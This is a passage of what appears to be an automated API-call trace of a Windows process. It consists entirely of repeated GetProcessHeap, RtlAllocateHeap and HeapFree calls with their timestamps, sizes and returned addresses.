Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.410] GetProcessHeap () returned 0x540000 [0063.410] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.410] GetProcessHeap () returned 0x540000 [0063.410] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.410] GetProcessHeap () returned 0x540000 [0063.410] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.410] GetProcessHeap () returned 0x540000 [0063.410] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.410] GetProcessHeap () returned 0x540000 [0063.410] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.410] GetProcessHeap () returned 0x540000 [0063.410] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.410] GetProcessHeap () returned 0x540000 [0063.410] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.410] GetProcessHeap () returned 0x540000 [0063.410] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.410] GetProcessHeap () returned 0x540000 [0063.410] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.410] GetProcessHeap () returned 0x540000 [0063.410] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.410] GetProcessHeap () returned 0x540000 [0063.410] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.410] GetProcessHeap () returned 0x540000 [0063.410] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.410] GetProcessHeap () returned 0x540000 [0063.410] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.410] GetProcessHeap () returned 0x540000 [0063.410] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.410] GetProcessHeap () returned 0x540000 [0063.410] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.411] GetProcessHeap () returned 0x540000 [0063.411] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.411] GetProcessHeap () returned 0x540000 [0063.411] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.411] GetProcessHeap () returned 0x540000 [0063.411] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.411] GetProcessHeap () returned 0x540000 [0063.411] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.411] GetProcessHeap () returned 0x540000 [0063.411] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.411] GetProcessHeap () returned 0x540000 [0063.411] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.411] GetProcessHeap () returned 0x540000 [0063.411] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.411] GetProcessHeap () returned 0x540000 [0063.411] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.411] GetProcessHeap () returned 0x540000 [0063.411] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.411] GetProcessHeap () returned 0x540000 [0063.411] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.411] GetProcessHeap () returned 0x540000 [0063.411] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.411] GetProcessHeap () returned 0x540000 [0063.411] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.411] GetProcessHeap () returned 0x540000 [0063.411] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.411] GetProcessHeap () returned 0x540000 [0063.411] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.411] GetProcessHeap () returned 0x540000 [0063.411] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.411] GetProcessHeap () returned 0x540000 [0063.411] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.411] GetProcessHeap () returned 0x540000 [0063.411] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.411] GetProcessHeap () returned 0x540000 [0063.411] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.411] GetProcessHeap () returned 0x540000 [0063.411] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.412] GetProcessHeap () returned 0x540000 [0063.412] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.412] GetProcessHeap () returned 0x540000 [0063.412] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.412] GetProcessHeap () returned 0x540000 [0063.412] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.412] GetProcessHeap () returned 0x540000 [0063.412] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.412] GetProcessHeap () returned 0x540000 [0063.412] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.412] GetProcessHeap () returned 0x540000 [0063.412] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.412] GetProcessHeap () returned 0x540000 [0063.412] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.412] GetProcessHeap () returned 0x540000 [0063.412] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.412] GetProcessHeap () returned 0x540000 [0063.412] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.412] GetProcessHeap () returned 0x540000 [0063.412] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.412] GetProcessHeap () returned 0x540000 [0063.412] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.412] GetProcessHeap () returned 0x540000 [0063.412] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.412] GetProcessHeap () returned 0x540000 [0063.412] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.412] GetProcessHeap () returned 0x540000 [0063.412] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.412] GetProcessHeap () returned 0x540000 [0063.412] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.412] GetProcessHeap () returned 0x540000 [0063.412] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.412] GetProcessHeap () returned 0x540000 [0063.412] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.412] GetProcessHeap () returned 0x540000 [0063.412] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.412] GetProcessHeap () returned 0x540000 [0063.412] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.413] GetProcessHeap () returned 0x540000 [0063.413] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.413] GetProcessHeap () returned 0x540000 [0063.413] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.413] GetProcessHeap () returned 0x540000 [0063.413] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.413] GetProcessHeap () returned 0x540000 [0063.413] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.413] GetProcessHeap () returned 0x540000 [0063.413] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.413] GetProcessHeap () returned 0x540000 [0063.413] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.413] GetProcessHeap () returned 0x540000 [0063.413] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.413] GetProcessHeap () returned 0x540000 [0063.413] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.413] GetProcessHeap () returned 0x540000 [0063.413] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.413] GetProcessHeap () returned 0x540000 [0063.413] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.413] GetProcessHeap () returned 0x540000 [0063.413] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.413] GetProcessHeap () returned 0x540000 [0063.413] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.413] GetProcessHeap () returned 0x540000 [0063.413] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.413] GetProcessHeap () returned 0x540000 [0063.413] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.413] GetProcessHeap () returned 0x540000 [0063.413] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.413] GetProcessHeap () returned 0x540000 [0063.413] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.413] GetProcessHeap () returned 0x540000 [0063.413] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.413] GetProcessHeap () returned 0x540000 [0063.413] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.413] GetProcessHeap () returned 0x540000 [0063.414] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.414] GetProcessHeap () returned 0x540000 [0063.414] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.414] GetProcessHeap () returned 0x540000 [0063.414] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.414] GetProcessHeap () returned 0x540000 [0063.414] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.414] GetProcessHeap () returned 0x540000 [0063.414] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.414] GetProcessHeap () returned 0x540000 [0063.414] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.414] GetProcessHeap () returned 0x540000 [0063.414] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.414] GetProcessHeap () returned 0x540000 [0063.414] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.414] GetProcessHeap () returned 0x540000 [0063.414] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.414] GetProcessHeap () returned 0x540000 [0063.414] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.414] GetProcessHeap () returned 0x540000 [0063.414] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.414] GetProcessHeap () returned 0x540000 [0063.414] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.414] GetProcessHeap () returned 0x540000 [0063.414] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.414] GetProcessHeap () returned 0x540000 [0063.414] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.414] GetProcessHeap () returned 0x540000 [0063.414] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.414] GetProcessHeap () returned 0x540000 [0063.414] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.414] GetProcessHeap () returned 0x540000 [0063.414] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.414] GetProcessHeap () returned 0x540000 [0063.414] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.414] GetProcessHeap () returned 0x540000 [0063.414] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.415] GetProcessHeap () returned 0x540000 [0063.415] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.415] GetProcessHeap () returned 0x540000 [0063.415] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.415] GetProcessHeap () returned 0x540000 [0063.415] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.415] GetProcessHeap () returned 0x540000 [0063.415] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.415] GetProcessHeap () returned 0x540000 [0063.415] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.415] GetProcessHeap () returned 0x540000 [0063.415] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.415] GetProcessHeap () returned 0x540000 [0063.415] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.415] GetProcessHeap () returned 0x540000 [0063.415] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.415] GetProcessHeap () returned 0x540000 [0063.415] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.415] GetProcessHeap () returned 0x540000 [0063.415] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.415] GetProcessHeap () returned 0x540000 [0063.415] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.415] GetProcessHeap () returned 0x540000 [0063.415] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.415] GetProcessHeap () returned 0x540000 [0063.415] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.415] GetProcessHeap () returned 0x540000 [0063.415] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.415] GetProcessHeap () returned 0x540000 [0063.415] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.415] GetProcessHeap () returned 0x540000 [0063.415] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.415] GetProcessHeap () returned 0x540000 [0063.415] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.415] GetProcessHeap () returned 0x540000 [0063.415] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.415] GetProcessHeap () returned 0x540000 [0063.415] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.416] GetProcessHeap () returned 0x540000 [0063.416] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.416] GetProcessHeap () returned 0x540000 [0063.416] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.416] GetProcessHeap () returned 0x540000 [0063.416] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.416] GetProcessHeap () returned 0x540000 [0063.416] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.416] GetProcessHeap () returned 0x540000 [0063.416] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.416] GetProcessHeap () returned 0x540000 [0063.416] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.416] GetProcessHeap () returned 0x540000 [0063.416] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.416] GetProcessHeap () returned 0x540000 [0063.416] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.416] GetProcessHeap () returned 0x540000 [0063.416] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.416] GetProcessHeap () returned 0x540000 [0063.416] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.416] GetProcessHeap () returned 0x540000 [0063.416] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.416] GetProcessHeap () returned 0x540000 [0063.416] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.416] GetProcessHeap () returned 0x540000 [0063.416] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.416] GetProcessHeap () returned 0x540000 [0063.416] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.416] GetProcessHeap () returned 0x540000 [0063.416] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.416] GetProcessHeap () returned 0x540000 [0063.416] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.416] GetProcessHeap () returned 0x540000 [0063.416] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.416] GetProcessHeap () returned 0x540000 [0063.416] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.416] GetProcessHeap () returned 0x540000 [0063.417] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.417] GetProcessHeap () returned 0x540000 [0063.417] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.417] GetProcessHeap () returned 0x540000 [0063.417] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.417] GetProcessHeap () returned 0x540000 [0063.417] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.417] GetProcessHeap () returned 0x540000 [0063.417] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.417] GetProcessHeap () returned 0x540000 [0063.417] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.417] GetProcessHeap () returned 0x540000 [0063.417] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.417] GetProcessHeap () returned 0x540000 [0063.417] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.417] GetProcessHeap () returned 0x540000 [0063.417] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.417] GetProcessHeap () returned 0x540000 [0063.417] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.417] GetProcessHeap () returned 0x540000 [0063.417] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.417] GetProcessHeap () returned 0x540000 [0063.417] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.417] GetProcessHeap () returned 0x540000 [0063.417] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.417] GetProcessHeap () returned 0x540000 [0063.417] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.417] GetProcessHeap () returned 0x540000 [0063.417] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.417] GetProcessHeap () returned 0x540000 [0063.417] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.417] GetProcessHeap () returned 0x540000 [0063.417] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.417] GetProcessHeap () returned 0x540000 [0063.417] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.417] GetProcessHeap () returned 0x540000 [0063.417] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.418] GetProcessHeap () returned 0x540000 [0063.418] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.418] GetProcessHeap () returned 0x540000 [0063.418] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.418] GetProcessHeap () returned 0x540000 [0063.418] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.418] GetProcessHeap () returned 0x540000 [0063.418] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.418] GetProcessHeap () returned 0x540000 [0063.418] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.418] GetProcessHeap () returned 0x540000 [0063.418] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.418] GetProcessHeap () returned 0x540000 [0063.418] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.418] GetProcessHeap () returned 0x540000 [0063.418] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.418] GetProcessHeap () returned 0x540000 [0063.418] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.418] GetProcessHeap () returned 0x540000 [0063.418] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.418] GetProcessHeap () returned 0x540000 [0063.418] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.418] GetProcessHeap () returned 0x540000 [0063.418] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.418] GetProcessHeap () returned 0x540000 [0063.418] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.418] GetProcessHeap () returned 0x540000 [0063.418] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.418] GetProcessHeap () returned 0x540000 [0063.418] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.418] GetProcessHeap () returned 0x540000 [0063.418] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.418] GetProcessHeap () returned 0x540000 [0063.418] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.418] GetProcessHeap () returned 0x540000 [0063.418] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.418] GetProcessHeap () returned 0x540000 [0063.419] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.419] GetProcessHeap () returned 0x540000 [0063.419] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.419] GetProcessHeap () returned 0x540000 [0063.419] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.419] GetProcessHeap () returned 0x540000 [0063.419] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.419] GetProcessHeap () returned 0x540000 [0063.419] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.419] GetProcessHeap () returned 0x540000 [0063.419] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.419] GetProcessHeap () returned 0x540000 [0063.419] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.419] GetProcessHeap () returned 0x540000 [0063.419] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.419] GetProcessHeap () returned 0x540000 [0063.419] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.419] GetProcessHeap () returned 0x540000 [0063.419] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.419] GetProcessHeap () returned 0x540000 [0063.419] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.419] GetProcessHeap () returned 0x540000 [0063.420] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.420] GetProcessHeap () returned 0x540000 [0063.420] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.420] GetProcessHeap () returned 0x540000 [0063.420] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.420] GetProcessHeap () returned 0x540000 [0063.420] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329be50 | out: hHeap=0x540000) returned 1 [0063.420] GetProcessHeap () returned 0x540000 [0063.420] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329be50 [0063.420] GetProcessHeap () returned 0x540000 [0063.420] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.420] GetProcessHeap () returned 0x540000 [0063.420] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, 